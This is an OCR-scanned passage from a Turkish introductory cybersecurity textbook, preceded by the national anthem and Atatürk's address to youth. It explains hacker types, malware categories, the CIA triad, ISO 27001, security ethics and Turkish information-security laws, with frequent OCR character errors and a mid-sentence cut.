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ISTIKLAL MARSI

Korkma, sonmez bu safaklarda yiizen al sancak;
So6nmeden yurdumun Gstiinde tiiten en son ocak.

O benim milletimin yildizidhr, parlayacak;
O benimdir, o benim milletimindir ancak.

Catma, kurban olayim, ¢ehreni ey nazl hilal!

Kahraman irkimabir gil! Ne bu siddet, bu cel@l?

Sana olmaz dokulen kanlarimiz sonra helal.
Hakkidir Hakk’ atapan milletimin istiklal.

Ben ezelden beridir hir yasadim, hir yasarim.
Hangi ¢ilgin bana zincir vuracakmis? Sasarim!
Kukremis sel gibiyim, bendimi ¢igner, asarim.
Y irtarim daglari, enginlere sigmam, tasarim.

Garbin & é&kim sarmigsa gelik zirhli duvar,
Benim iman dolu gdgsim gibi serhaddim var.
Ulusun, korkma! Nasil boyle bir imam bogar,
Medeniyyet dedigin tek disi kalmis canavar?

Arkadas, yurduma al¢aklar: ugratma sakin;
Siper et gévdeni, dursun bu hayasizca akin.
Dogacaktir sanava dettigi glinler Hakk’1n;

Kim bilir, belki yarin, belki yarindan da yakin.

Bastigin yerleri toprak diyerek gecme, tan:
Dusun altindaki binlerce kefensiz yatan.
Sen sehit oglusun, incitme, yaziktir, atam:
Verme, dinyalar: alsan da bu cennet vatan:.

Kim bu cennet vatanin ugruna olmaz ki feda?
Suheda fiskiracak toprag: siksan, stihedal
Céani, canéni, butun varimi alsin da Huda,
Etmesin tek vatammdan beni diinyada clida.

Ruhumun senden 118hi, sudur ancak emeli:
Degmesin mabedimin gdgsiine ndmahrem €li.
Bu ezanlar -ki sehadetleri dinin temeli-
Ebedi yurdumun Usttinde benim inlemeli.

O zaman vecd ile bin secde eder -varsa- tasim,
Her certhamdan 118hi, bosarp kanl1 yasim,
Fiskirir ruh-1 micerret gibi yerden na' sim;

O zaman yUkselerek arsa deger belki basim.

Dalgalan sen de safaklar gibi ey sanli hilal!
Olsun artik dokulen kanlarimin hepsi helél.
Ebediyyen sana yok, irkimayok izmihlél;
Hakkidir hur yasamis bayragimin hiirriyyet;
Hakkidir Hakk’ a tapan milletimin istiklal!

Mehmet Akif Ersoy



GENCLIGE HITABE

Ey Tirk gencligi! Birinci vazifen, Turk istiklalini, Ttrk Cumhuriyetini,
ilelebet muhafaza ve midafaa etmektir.

Mevcudiyetinin ve istikbalinin yegane temeli budur. Bu temel, senin en
kiymetli hazinendir. Istikbalde dahi, seni bu hazineden mahrum etmek
isteyecek dahili ve harici bedhahlarin olacaktir. Bir gin, istiklal ve cumhuriyeti
mudafaa mecburiyetine dusersen, vazifeye atilmak igin, iginde bulunacagin
vaziyetin imkan ve seraitini disunmeyeceksin! Bu imkan ve serait, cok
namisait bir mahiyette tezahtr edebilir. Istiklal ve cumhuriyetine kastedecek
dusmanlar, batin dinyada emsali gorilmemis bir galibiyetin - mumessili
olabilirler. Cebren ve hile ile aziz vatamn bitun kaleleri zapt edilmis, butin
tersanelerine girilmis, batun ordular: dagitilmis ve memleketin her kdsesi bilfiil
isgal edilmis olabilir. Butlin bu seraitten daha elim ve daha vahim olmak (zere,
memleketin dahilinde iktidara sahip olanlar gaflet ve dalélet ve hattd hiyanet
icinde bulunabilirler. Hattd bu iktidar sahipleri sahsi menfaatlerini,
mustevlilerin siyasi emelleriyle tevhit edebilirler. Millet, fakr u zaruret icinde
harap ve bitap dusmdis olabilir.

Ey Tirk istikbalinin evladi! iste, bu ahval ve serait icinde dahi vazifen,
Turk istiklal ve cumhuriyetini kurtarmaktir. Muhta¢ oldugun kudret,
damarlarindaki asil kanda mevcuttur.

Mustafa Kemal Atattirk
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DERS MATERYALININ TANITIMI

Ogrenme biriminin
adini gosterir.

Karekod okuyucu ile taranarak resim,
video, soru ve ¢ézimleri gibi ilave
kaynaklara ulasilabilecek karekod
boélimuddr.
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\

Ogrenme biriminde neler
ogrenileceginin 6n bilgilerini
gosterir.

Ogrenme biriminde yer

alan konulari gosterir.

y

A

A

Ogrenm

e biriminin

numarasini gosterir.

Ogrenme birimindeki
onemli kavramlari gosterir.




Derse baslamadan 6nce yapilacak
hazirliklar gosterir.

Konuyla ilgili 6rneklerin verildigi
bolimddar.

Karekod, gorsel kaynakgasini
gosterir.

Y
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Konuya iliskin ek bilgi ve ipuglarini
gosterir.

Konuyu pekistirmek icin 6grencilerin
yapmasi gereken etkinlikleri gosterir.

Konuyla ilgili 6rnek durumlarin ve
¢6zUm yollarinin verildigi bolumdur.




Ogrencilerin edindigi bilgiyi kullanma-
sini saglayacak calismalari gosterir.

Arastirilmasi gereken konulari
gosterir.

Kazanilan bilgi ve becerilerin
her 6grenme birimi sonunda
Olglldugi cahismalari gosterir.

17



SIYID IDITNIAND Y3CIS

1.

OGRENME BiRiMi
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KONULAR

1.1. HACKER VE HACKING KAVRAMI

1.2. ETiK VE GUVENLIK

1.3. AG GUVENLIGI TEMELLERI

1.4. SIBER GUVENLIK ELEMANININ OZELLIKLERI

NELER OGRENECEKSINiz?

¢ Hacker kimligi ve hacking islemi
e Kotli amach yazilim ozellikleri

e Bilisimde etik ve siber giivenlik kavrami

e Bilgi glivenligi uzmaninin sorumluluklari
e Bilgi glivenliginin yasal diizenlemeleri

e Ag glivenliginin 6nemi

e Ag saldirilarini algilama ve 6nleme

e Siber giivenlik uzmaninin 6zellik, gérev ve sorumluluklari

¢ Siber olaylara miidahale ekipleri

e SOME gorev ve sorumluluklari

ANAHTAR KELIMELER

Truva at, hacker, hackleme, virls, solucan, fidye yazilimi, arka kapi, etik,
bilgi glivenligi, gizlilik, erisilebilirlik, batunlik, siber glvenlik, telif haklari, ag
glvenligi, givenlik duvari, bal kiip, IPS, IDS, SOME
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HAZIRLIK CALISMALARI

1. Bilisim suclulari sizce hangi kurallari ¢cignemis olabilir?

2. Bilgisayar veya telefon glivenliginiz icin neler yapiyorsunuz?

1.1. HACKER VE HACKING KAVRAMLARI

insanoglunun en temel ihtiyaglarindan biri olan giivenlik kavrami; bilgisayar bilimi ve
teknolojinin hizla gelismesi, internetin ve sosyal aglarin yayginlasmasi, mobil ve 10T cihazlarin
artmasi ile daha 6nemli hale gelmistir. Glinimiizde devlet, kurum ve kisiler gelisen teknolojiye
hizla uyum saglamistir. Kamu hizmetlerinin, bankacilik islemlerinin, sirket toplantilarinin, ticaretin
ve egitimin elektronik ortamlar Gzerinden yiratialmesi glivenlik riskini daha da artirmistir.
Dijital dlinyada givenligi tehdit eden bazi
unsurlar bulunmaktadir. Bu unsurlar, bilgisayar
korsani (hacker) ve zararl yazilimlardir. Hacker
kavrami ilk defa 1960l vyillarda bilgisayar
donanim ve yazilimlarini kurcalayan, degistiren
ve gelistiren kisiler olarak ortaya atilmistir. ilk
baslarda sadece olumlu bir anlami olsa da bu
kavram zamanla suc teskil eden eylemleri de
icinde barindirmistir. Turk Dil Kurumu Giincel
Turkce Sozlik bilgisayar korsanini “Bilgisayar ve
haberlesme teknolojileri konusundaki bilgisini
gizli verilere ulasmak, aglar Uzerinde yasal
olmayan zarar verici isler yapmak icin kullanan
kimse.” olarak tanimlamistir (Gorsel 1.1). Gorsel 1.1: Bilgisayar korsani (hacker)
Hackleme (Hacking) kavramiilk baslarda elektronik sistemlerin farkli yontemlerle degistirilerek
kullaniimasi anlamini tasimistir. Hackleme zamanla bu anlamindan siyrilarak bilgisayar, mobil, loT
cihaz ve ag sistemlerine zararli yazihm bulastirmak, yasa disi amaclarla izinsiz erisim saglamak ve
yetkisiz erisilen sistemde degisiklik yapmak eylemlerine dontsmiuistir.

- ARASTIRMA

Diinyanin Unlt hackerlarini arastiriniz. Arastirma sonuglarini 6gretmeniniz ve arkadaslarinizla
paylasiniz.
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1.1.1. Hackerin Ozellikleri

Hackerlar sistem, ag ve programlama alanlarinda Ust diizey teknik bilgi ve beceriye sahiptir.
Bilgisayar korsanlari bilgi ve becerilerini kendi saldiri araglarini gelistirmek, hedef sistemde
zafiyet tespit etmek, tespit edilen zafiyet ile sisteme izinsiz erisim elde etmek, zarar vermek veya
glvenlik agiklarini kapatmak, sistemi korumak icin kullanirlar. Bir hacker ihtiya¢ duydugunda
sosyal mihendislik yapabilir.

1.1.2. Hacker Tiirleri

Hackerlar amac ve faaliyetlerine gore siyah sapkali, gri sapkal ve beyaz sapkali olmak (izere
Uce ayrilir (Gorsel 1.2).

Gorsel 1.2: Hacker tiirleri

Siyah Sapkali Hacker: Zarar vermek ve maddi kazan¢ saglamak amaciyla sistemlere izinsiz
giren, sistemdeki bilgileri calan, degistiren veya silen, sistemlere erisimi engelleyen kot niyetli
bilgisayar korsanlaridir. Bu kisiler, sistemleri ele gecirip kendi istekleri dogrultusunda kullanabilir.

Gri Sapkali Hacker: Merak ve kendi amaglari dogrultusunda sistemlerin giivenlik agiklarini
tespit ederek sistemlere izinsiz giren, istedigi sisteme zarar veren veya sisteme zarar vermeyip
glvenlik aciginin kapatiilmasina destek olan bilgisayar korsanlaridir. Bu kisiler bazen siyah bazen
beyaz sapkali hacker gibi davranirlar.

Beyaz Sapkali Hacker: Bilgisayar ve ag sistemlerinin glivenligini saglamak amaciyla glivenlik
aciklarini tespit edip kapatmaya calisan, saldirilari 6nleyen, iyi niyetli ve etik degerlere sahip
bilgisayar korsanlaridir. Bu kisiler, sahis ve kurumlara zarar vermeyi diisinmezler. Hatta kurumlarin
bilgisi dahilinde glivenlik aciklarini tespit edip kurumlara bildirirler. Kurumlara sagladiklari destek
karsiliginda maddi kazang elde edebilirler. Kurumlarda siber giivenlik personeli olarak gorev
alabilirler.

Siber Glvenlige Giris
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- SIRA SIZDE

Tablo 1.1'de verilen her ifadenin hacker tirind belirtmek icin uygun kutucuga “X” yaziniz.

Tablo 1.1: Hacker Tiirleri

Hackerin ifadesi

izinsiz sekilde bir bankanin ATM sistemine girdim.
Sistemde birkag glivenlik acigi kesfettim. Guvenlik agiklarini
paylasmak icin ilgili bankanin bilgi islem yoneticisi ile
gorustum.

Bir kurumun sistemine zararli yazihm bulastirarak
calisanlarin kredi karti bilgilerini ele gecirdim. Bu bilgileri
yasa disi platformlarda en yiksek teklifi verene sattim.

Calistigim kurumun bilgisayar sistemindeki zafiyetleri
belirledim ve gerekli dnlemleri aldim.

Kurumun givenlik agiklarini arastirirken erisim yetkim
olan bir agda glivenlik zafiyetine rastladim.

DNS ile ilgili bir kusuru gidermek igin siber glivenlik
firmalariyla ¢alistim.

Zafiyet arastirmasi yaparken bir kurumun agina
yetkisiz ve izinsiz sekilde erisim sagladim. Ag yoneticisine
“Guvenliginiz kusurludur.” mesajini biraktim.

Bir bankanin ATM makinesine kart kopyalama cihazi
kurdum. Birkag gilin sonra cihazi geri aldim. Bu cihaz saye-
sinde birgok kisinin hesabini, kart numarasini ve parolasini
ele gecirdim. Daha sonra bu kisilerin hesaplarindan bir off-
shore banka hesabina para transferi yapmaya basladim.
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DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LiSTESI

OLCUTLER EVET HAYIR

1.1.3. Zararh Yazilimlar

Zararh yazihm (Malware); bilgisayar ve ag sistemlerine
zarar vermek, sistemlere sizmak, sistemlerin isleyisini
engellemek, kisisel verileri ele gecgirmek, degistirmek
ve gerektiginde sifrelemek icin kullanilan koéti amagli
programlar olarak tanimlanir (Gorsel 1.3). Zararh yazilim
saldirilari gogunlukla son kullanici cihazlarina yapilir. Bu
nedenle kullanicilarin zararh yazilimlar hakkinda bilgi
sahibi olmasi son derece 6nemlidir. Zararl yazilimlar son Gorsel 1.3: Zararh yaziim

kullanici cihazlarina farkli yollarla bulasabilir.

. ARASTIRMA

Stuxnet hakkinda arastirma yapiniz. Arastirma sonuglarini 6gretmeniniz ve arkadaslarinizla

paylasiniz.

Zararh yazilim bulasma yollarina verilebilecek bazi 6rnekler sunlardir:

e Sahte web sayfalarinin ziyaret edilmesi

e Glvenilir olmayan web sayfalarindan paket yazilim, PDF vb. dosyalarin indirilmesi
e Sahte Java, Applet ve Adobe giincellemelerinin yiklenmesi

e Zararli yazilim iceren harici depolama cihazlarinin, USB belleklerinin kullaniimasi
e P2P [Peer to Peer (Esler Arasi)] dosya paylasim aglarinin kullanilmasi

e Sahte mobil uygulamalarin yuklenmesi

e Zararli yazihm igeren e-posta eklerinin indirilmesi

Siber Glvenlige Giris
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1.1.3.1. Zararh Yazilim Turleri

Zararli yaziimlarin sayisi ve tirl her gecen glin artmaktadir. Gorsel 1.4’teki zararli yazilm
turleri genellikle virlsler, solucanlar, Truva atlari ve diger koti amach programlar seklinde

siniflandirilir.

Gorsel 1.4: Zararli yazihm tirleri

Viriis: Kendi kopyasini bir programa, bir dokiimana veya .bat, .exe, .com uzantili yurutulebilir
bir dosyaya ekleyerek yayilan yazilima bilgisayar virlst denir. Bir bilgisayardan baska bir bilgisayara
kolayhkla bulasir. Program veya dosyalara bulasan virlsler, kullanici etkilesimi ile barindirdiklari
zararl kodlari galistirir. Bu zararli kodlarin gergeklestirecegi eylemler farklihk gosterebilir. Bu
eylemler; kisisel verilerin calinmasi, degistirilmesi, silinmesi veya isletim sisteminin calismaz
hale gelmesi olabilir. Glinimuzde virlsler daha ¢ok harici depolama birimleri, USB bellekler, web
sayfalari ve e-posta ekleri ile bulasir.

- ARASTIRMA

ik kisisel bilgisayar viriisiinii arastiriniz. Arastirma sonuglarini 8gretmeniniz ve arkadaslarinizla

paylasiniz.

Solucan (Worm): Bilgisayar solucani kendini otomatik kopyalar ve hizla ¢cogalir. Solucan, ag ve
bilgisayar sistemlerinin glivenlik aciklarindan yararlanarak yayilir. Virislerin aksine solucanlarin
ylritllebilir bir dosyaya eklenmesi, diger programlara bulasmasi ve kullanici etkilesimi ile
calistirilmasi gerekmez. Solucanlar e-posta, FTP, HTTP ve P2P dosya paylasim aglari ile sistemlere
bulasabilir. Agin performansini, isletim sisteminin isleyisini olumsuz yonde etkiler. Kisisel verilerin
calinmasina, isletim sisteminde arka kapi acarak zombi agi olusturulmasina neden olabilir.
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- ARASTIRMA

Morris solucanini arastiriniz. Arastirma sonuglarini 6gretmeniniz ve arkadaslarinizla paylasiniz.

Truva At1(Trojan): Buyazilim, zararsiz bir program gibi gériinir. Genellikle e-posta veya glivenilir
olmayan web siteleri araciligiyla sisteme bulasir. Kullanicinin zararli dosyayi kopyalamasiyla
yayilir. Truva ati, eklendigi program dosyasi ¢alistirilincaya kadar aktif hale gecmez. Truva ati
aktif olduktan sonra saldirgana son kullanici cihazi icin tam kontrol ve yikseltilmis ayricalklar
sunar, uzaktan erisim yetkisi verir. Saldirgana uzaktan erisim yetkisi verir. Uzaktan erisim saglayan
saldirgan, bilgisayardaki dosyalari kopyalama, silme ve degistirme eylemlerini gerceklestirebilir.
Ayrica internet bankaciligl parolalarini ve kredi karti bilgilerini ele gecirebilir. Tespiti zor olan
Truva atlari; bilgisayarlara yeni zararli yaziimlar indirme, DoS ataklari ile web sunucularinin
hizmetlerini engelleme, acik portlari saldirgana bildirme, ekran goriintilerinin kaydini alma gibi
bircok farkl eylemi gerceklestirir.

Fidye Yazilimi (Ransomware): Bu yazilim, saldirganlarin e-postalar Gzerinden kurbanlarina
gonderdigi kotl amach reklamlar aracihigr ile bulasir. Fidye yazilimi, son kullanici cihazindaki
verileri sadece saldirganin bildigi bir sifreleme anahtari ile sifreler. Saldirgan, verilerin bulundugu
sistemi rehin alir. Kurban, fidye 6deyinceye kadar veriler kullanilamaz hale gelir. Saldirgan,
gizliligini korumak i¢in 6demenin kripto para ile yapilmasini kurbandan ister. Saldirgan, kurban
odemeyi gerceklestirdiginde sifreleme anahtarini génderebilir. Fidye yazilimi, saldirganlarin en
cok maddi kazang sagladigl zararli yazihm turtdir. Bu nedenle son vyillarda kisisel ve kurumsal
kullanicilara yonelik fidye yazilim saldirilari artmistir.

Casus Yazilim (Spyware): Bu yazilim, burun sokan yazilim (snoopware) olarak da adlandirilir.
Bu yazilimlarin amaci, sistem Uzerinde gizli kalarak kullanici hakkinda bilgi toplamaktir. Casus
yazilimlar ile kullanici aliskanlhklari, kullanicinin ziyaret ettigi web sayfalari, kimlik bilgileri, kredi
kart1 bilgileri, e-posta adresleri ve parolalar kotl niyetli kisilere gdnderilir. Casus yazilimlar
cogunlukla yasal yazilimlar veya Truva atlari araciligi ile sistemlere bulasir.

Reklam Yazilimi (Adware): Bu yazilim, son kullanici cihazinda ziyaret edilen web sayfalarini
izleyerek kullaniciya uygun reklamlari gorintiler. Agilir pencereler ile goérintilenen reklamlar,
rahatsiz edici ve can sikici boyuta ulasabilir. Reklamlara tiklanmasi durumunda reklam yazilimini
programlayan kisiler maddi kazang elde edebilirler. Reklam yazilimlari, bazi yazilm strimleri
veya casus yazilimlarla son kullanici cihazina bulasir.

Siber Glvenlige Giris
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Korku Yazilimi (Scareware): Dolandiricilik yazilimidir. Bu yazilim, kullanicida korku ve endise
olusturmak icin sosyal mihendisligi kullanir. Sahte mesajlar ile kullaniciyi belirli eylemleri
gerceklestirmesi icin yonlendirir. Bu eylemin amaci ¢ogunlukla kullanicinin sahte mesajlarla
yonlendirildigi yazilimi satin alma ve 6deme islemi yapmasini saglamakdr.

Tus Tutucu (Keylogger): Bu yazilim, kullanicinin klavyeden bastigi her tusu yakalar ve kaydeder.
Bu kayitlari saldirgana génderebilir. Kullanicinin kimlik bilgileri, kredi karti bilgileri, parolalari ve
diger 6nemli kisisel bilgileri ¢alinabilir.

Kok Kullanici Takimi (Rootkit): Bu yazilim, saldirganin bir sisteme ayricalikli erisimine izin verir.
Rootkitler isletim sisteminin ¢ekirdegine yerlesir. Bu nedenle anti-malware yazilimlari tarafindan
tespit edilmesi zordur. Rootkitler sistemde gizliligini korur. Saldirgan, ayricalik elde ettigi sistemde
kullaniciya fark ettirmeden yasal olmayan islemler gergeklestirebilir.

Arka Kapi (Backdoor): Arka kapi, saldirganin bir sisteme erismek igin kimlik dogrulamasini
atlamasina izin verir ve sisteme uzaktan erismeyi saglar. Sisteme erisen bilgisayar korsanlari daha
sonra ayni sisteme kolay erisim saglayabilmek icin arka kapilari kullanir. Saldirganlar sisteme arka
kapi birakabilmek icin yeni bir port agma, yeni bir kullanici olusturma eylemlerini gerceklestirebilir.
Ayrica XSS, SQL Injection gibi zafiyetler de arka kapi olarak kullanilabilir.

1.2. ETiK VE GUVENLIK

Etik kavramiinsanin davranis bicimini ahlaksal agidan inceleyen, diizenleyen bir disiplin olarak
tanimlanmaktadir. Etik; insanlarin dogruyla yanlisi, iyiyle kotliyl, hakli ile haksizi ayirt ederek
ahlakli davranislar sergilemesini saglayan bir felsefe dalidir. Bu kavram gilinimizde daha ¢ok
cesitli meslek kollari arasinda taraflarin uymasi veya kaginmasi gereken davranislar bitini olarak
ifade edilmektedir.

Bilisim teknolojilerinin gelismesi, bilisim araglarinin diger meslek dallarinda kullaniimasi,
iletisim araglarinin insan davranis bicimini degistirmesi gibi etkenler, etik kavramindan bilisim
etigi kavraminin dogmasini zorunlu kilmistir. Bilisim etigi; bilgisayar, ag ve internetin kullanimi
sirasinda uyulmasi gereken, bilgi toplumu tarafindan kabul géren, yazili veya yazili olmayan
kurallar buttintdur. Bu kurallara uyuldugunda bilisim ortamlari daha guvenilir hale gelir.

Bilisim teknolojileri ve internetin yayginlasmasi, sosyal aglarin kullaniminin artmasi ile tretilen
verinin miktari da artmistir. Bilgi toplumunun en kiymetli hazinesi olan veri, saldirganlarin odak
noktasidir. Verilerin korunmasi, bilisim ve ag cihazlarinin glivenliginin saglanmasi ile mimkiinddr.
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Bilisim, ag ve loT cihazlarin, web ve mobil uygulamalarin, verilerin saldirganlara karsi korunmasi
icin verilen gaba siber glivenlik (cyber security) kavrami ile ifade edilmektedir (Gorsel 1.5).

Uygulama Bilgi Ag Op y | Sifreleme Erisimd imi  Sonkull 1 Felaket kurtarma
egitimi

Gorsel 1.5: Siber giivenlik kavrami

1.2.1. Bilgi ve Bilgi Giivenligi

Bilgi, bilisim araclari ile islenmesi sonucu verilerin anlam kazanmis halidir. Bilgi glivenligi;
kisisel veya kurumsal dizeydeki her tir bilginin yetkisiz sekilde elde edilmesini, kullaniimasini,
degistirilmesini, silinmesini, ¢alinmasini, ifsa edilmesini, el degistirmesini ve zarar gérmesini
engellemek amaciyla alinan tedbirlerdir.

Bilgi glvenligi; gizlilik (confidentiality),
batinlik (integrity), erisilebilirlik (availability)
olmak Uzere U¢ temel unsurdan olusur. Bilgi
glvenligi unsurlarina kisaca CIA Ugliisii adi
verilir (Gorsel 1.6). Bilgi glivenligi unsurlarindan
herhangi birinin zarar goérmesi durumunda
glvenlik zafiyeti ortaya cikar.

Gizlilik: Bilginin yetkisiz kisilerin eline geg-
mesinin engellenmesidir. Sosyal ag, e-posta veya
internet bankaciligi hesap bilgilerinin saldirganin
eline gegmesi gizlilik unsurunun zarar gérmesine Gorsel 1.6: CIA iiglilsii
neden olur.

Butinlik: Bilginin yetkisiz kisiler tarafindan bozulmasinin, degistirilmesinin veya silinmesinin
engellenmesidir. Saldirgan tarafindan web sayfasindaki bilgilerin degistirilmesi, veri tabanina
yeni bilgilerin eklenmesi bitlnlik unsurunun zarar gérmesine neden olur.

Erisilebilirlik: Bilginin yetkili kisiler tarafindan siirekli erisilebilir ve kullanilabilir durumda
olmasidir. Saldirganin bir web sayfasina veya veri tabani sunucusuna erisimi engelleyerek hizmeti

aksatmasi erisilebilirlik unsurunun zarar gérmesine neden olur.

Siber Glvenlige Giris

27



1.2.2. I1SO 27001 Bilgi Giivenligi Yonetim Sistemi

Kurum ve kuruluslarda bilginin gizliligi, butlnligu ve
kullanilabilirligine iliskin gliven ortaminin olusturulmasi
calisanlar, musteriler ve tim paydaslar icin son derece
onemlidir. Bilgi glivenligini saglama ihtiyaci bir giivenlik
yonetim sisteminin kurulmasini zorunlu kilmistir. Bu
zorunluluk, 1ISO 27001 Bilgi Glvenligi Yonetim Sistemi
standardinin hazirlanmasina neden olmustur.

ISO 27001 Bilgi Giivenligi Yonetim Sistemi; bilginin
glvenligini saglamak icin yapilmasi gereken adimlarin
tanimlandigi, gerekliliklerin belirtildigi, uluslararasi ge-
cerliligi bulunan denetlenebilir bir standarttir (Goérsel
1.7). Bu standart; kurumsal bilgiyi korumak, dogru
bicimde muhafaza etmek, bilginin Gzerindeki riskleri en
azaindirmekigin minimum diizeyde alinmasi gerekliolan

glivenlik 6nlemlerini belli bir cercevede sunmaktadir.
Gorsel 1.7: 1SO 27001 standardi sertifikasi

1.2.3. Bilgi Giivenligi Uzmani

Bilgi glivenligi uzmanlari, kurumdaki bilgi glivenligini saglamakla gorevli kisilerdir (Gorsel 1.8).
Bu kisiler; bilgi ve bilgi sistemlerinin tiim yonlerinin dogrulugunu, gtivenilirligini, kullanilabilirligini,
glivenligini ve gizliligini saglamak icin mesleki bir sorumluluga sahiptir. Bu sorumlulugun ahlaki
bir boyutu da bulunmaktadir. Bilgi giivenligi uzmanlarinin faaliyetleri kurum calisanlarini,
mdisterilerini ve paydaslarini ahlaki agidan 6énemli zararlardan korumalidir. Aksi halde geri doniist
olmayan durum ve hak ihlalleriyle karsilasilir. Bu nedenle bilgi glivenligi uzmanlarinin kararlari

son derece kritiktir.

Bilgi glivenligi uzmanlarinin ahlaki sorumluluklarindan bazilari sunlardir:
e Mesleki faaliyetlerini diiristliik, dogruluk, adalet, vicdan, onur, sorumluluk, ahlak, nezaket,
saygl, titizlik, tarafsizlik vb. etik ilkeler ve ylrurlikteki yasalar cercevesinde gerceklestirmek

Gorsel 1.8: Bilgi glivenligi uzmani
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e Kurumlarin giincel uygulamalari ve standartlari kullanimini tesvik etmek

e Cikar catismasi olusturabilecek faaliyetlerden kaginmak

e Mesleki faaliyetler sirasinda karsilasilan 6zel veya diger hassas bilgilerin gizliligini korumak
e Menfaat saglamaya calismaktan uzak durmak

e Kurum ve paydaslarina, misterilerine zarar verecek faaliyetlerden kaginmak

e Mesleki faaliyetleri eksiksiz olarak yerine getirmek

e Bilgi glivenligi mesleginin itibarini zedeleyecek faaliyetlerden uzak durmak

e Fikri mulkiyet ve mahremiyet haklarinin ihlalinden kaginmak

e Bilginin erisilebilirligine iliskin uzun siireli veya kasith tavizlerde bulunmamak

e Kurum cahlisanlarini, misterilerini ve paydaslarinisistem degisikliklerihakkinda bilgilendirmek
e Kurum ve misterilere ait hassas verileri saldirilardan korumak icin glivenlik dnlemleri almak

e Bilgi glivenligi ekibiyle is birligi icinde ¢alismak

1.2.4. Bilgi Giivenliginde Yasal Diizenlemeler, Problemler ve Telif
Haklan

Bilgi islem teknolojilerinin gelismesi, yeni program ve web, mobil, sosyal ag gibi uygulamalarin
olusturulmasi, veri miktarinin cogalmasi ile bilgi sistemlerine yonelik saldirilar artis gostermistir.
Saldirganlari caydirmak, bilgi sistemlerinin ve verilerin kotli amacla kullanimini énlemek igin
mevcut yasalarin uygulanmasi gerektigine karar verilmistir. Mevcut yasalarin bilgi givenligi
uygulamastileilgili problemleri gidermekte yetersiz kalmasi, yeni yasalari ve hukuki diizenlemeleri
zorunlu kilmistir.

Bilginin toplanmasi, islenmesi, saklanmasi, kullanilmasi sirasinda olusan zarar ve ihlaller bilisim
hukuku dalinin ortaya ¢ikmasina neden olmustur. Ulkemizde de bilgilerin gizliligini korumak ve
glivence altina alinmasini saglamak icin gerekli yasal diizenlemeler bilisim hukuku ¢atisi altinda
hazirlanir. ihtiyaglar dogrultusunda bilisim sektériinde yasal diizenlenmeler devam etmektedir.
Bu yasal diizenlemeleri ihlal eden kisiler, bir baska deyisle sug isleyenler kanunlar gergevesinde
cezalandirilir.

Ulkemizde bilgi giivenligi uygulamasi ile ilgili yirirliikte olan yasal diizenlemelerden bazilari
sunlardir:

e Tirkiye Cumhuriyeti Anayasasi

e 5237 sayili Tirk Ceza Kanunu

e 6698 sayili Kisisel Verilerin Korunmasi Kanunu
e 5846 sayili Fikir ve Sanat Eserleri Kanunu

¢ 5809 sayili Elektronik Haberlesme Kanunu

e 5651 sayili internet Ortaminda Yapilan Yayinlarin Diizenlenmesi ve Bu Yayinlar Yoluyla is-
lenen Suglarla Miicadele Edilmesi Hakkinda Kanun
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e Elektronik Haberlesme Sektoriinde Kisisel Verilerin islenmesi ve Gizliligin Korunmasina ilis-
kin Yonetmelik

e Elektronik Haberlesme Sektoriinde Sebeke ve Bilgi Glivenligi Yonetmeligi

. ARASTIRMA

5237 sayili Tirk Ceza Kanunu’nun 243, 244 ve 245. maddelerini arastiriniz. Arastirma
sonuglarini 6gretmeniniz ve arkadaslarinizla paylasiniz.

Kisisel verilerin korunmasi, 6zel hayatin
gizliligi ile dogrudan ilgilidir. Bu baglamda kisisel
verilerin korunmasi anayasal bir haktir. Son
yillarda kisisel verilerin amaci disinda kullanimi,

. L . Gorsel 1.9: Kisisel Verileri Koruma Kurumu
yetkisiz kisilerce izinsiz erisimi gibiihlal durumlari
artmistir. Bundan dolayi Kigisel Verilerin Korunmasi Kanunu hakkinda tiim bireylerin bilgi sahibi
olmasi 6nemlidir. Kanun hakkinda detayh bilgi sahibi olmak icin www.kvkk.gov.tr web site adresi

ziyaret edilebilir (Gorsel 1.9).

a@x=

Kimligi belirli veya belirlenebilir gergek kisiye iliskin her tirli veri, kisisel veri olarak ifade edilir.

Kisinin adi soyadi, dogum tarihi, telefon numarasi, ikametgah adresi, kredi karti son kullanim
tarihi, 6grenim durumu, asi bilgileri kisisel veri olarak nitelendirilir. Bir kuruma ait adres, vergi
numarasl, e-posta adresi gibi bilgiler tizel kisilige aittir ve kisisel veri olarak nitelendirilemez.

Kurum ve kisiler yasal diizenlemeleri takip edip onlara uymakla yliktimlidir. Kurum ve kisiler,
yasa ve ydnetmeliklerdeki ilgili maddelere uygun énlemleri almaldir. Onlemler alinmadiginda
veya alinan 6nlemler yetersiz kaldiginda bircok sorun ile karsilasilir.

Bilgi glvenligi uygulamalarinda karsilasilan ihlallerin her biri yasal bir problemdir. Bu yasal
problemlerden bazilari sunlardir:

e Fikri mulkiyet hirsizhg

e is siireclerine iliskin dzel bilgilerin istismari
e \eri gizliliginin ihlali

e \eri hirsizligi

¢ Hassas verileri yok etme

e Bilisim teknolojilerine yonelik risk ve zararlar
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e Kurum itibarina yonelik risk ve zararlar

e Bilgi sistemine yetkisiz erisim

e Bilgi sistemine erisimi engelleme

e Bilgi sistemini bozma

e Tersine muhendislik ile telif hakki ve patent ihlali

e Lisans ihlali

e Yetkisiz veri iletimi

e Patentlerin yasa disi kullanimi

e Telif hakkiyla korunan elektronik materyalin yasa disi kullanimi
e Telif hakkiyla korunan materyallerin yasa disi erisimi

e Kurum personelinin kisisel bilgilerinin istismari

e Kurum mausterisinin kisisel ve finansal bilgilerinin istismari
¢ Hasta tibbi kayitlarinin ifsasi

e Yazilim kaynak kodunun yasa disi kullanimi

e Glvenlik protokollerini atlatma

e Elektronik ticaret uygulamasini kisitlama

e internet bankaciligi islemlerini aksatma

e Cekilis veya sans oyunu sonucunu degistirme

e Finansal yatirim uygulamalarinda kur verilerini degistirme

Telif (Copyright); kisinin her tarlu fikri emegi ile meydana
getirdigi bilgi, disince, sanat eseri ve urinin kullaniimasi,
kopyalanmasi ile ilgili hukuken saglanan haklardir (Gorsel 1.10).
Telif hakki; bilim, edebiyat, sinema, muzik, glzel sanat eserleri
ile bilgisayar yazilimlarinin timiine koruma saglamaktadir. Telif
hakkinin dogmasi igin tescile gerek yoktur. Fikir ve sanat eserleri
Uzerindeki haklar eserin Uretilmesiyle birlikte dogar. 5846 sayil
Fikir ve Sanat Eserleri Kanunu’nda telif haklarinin temel unsurlari

dizenlenmistir. Gorsel 1.10: Telif hakki simgesi

Telif hakki bulunan eserlerin dijital ortamlarda paylasilmasi, kopyalarinin ¢ogaltilmasi,

benzerlerinin Uretilmesi gibi problemlerin yayginlasmasi Fikir ve Sanat Eserleri Kanunu’nun

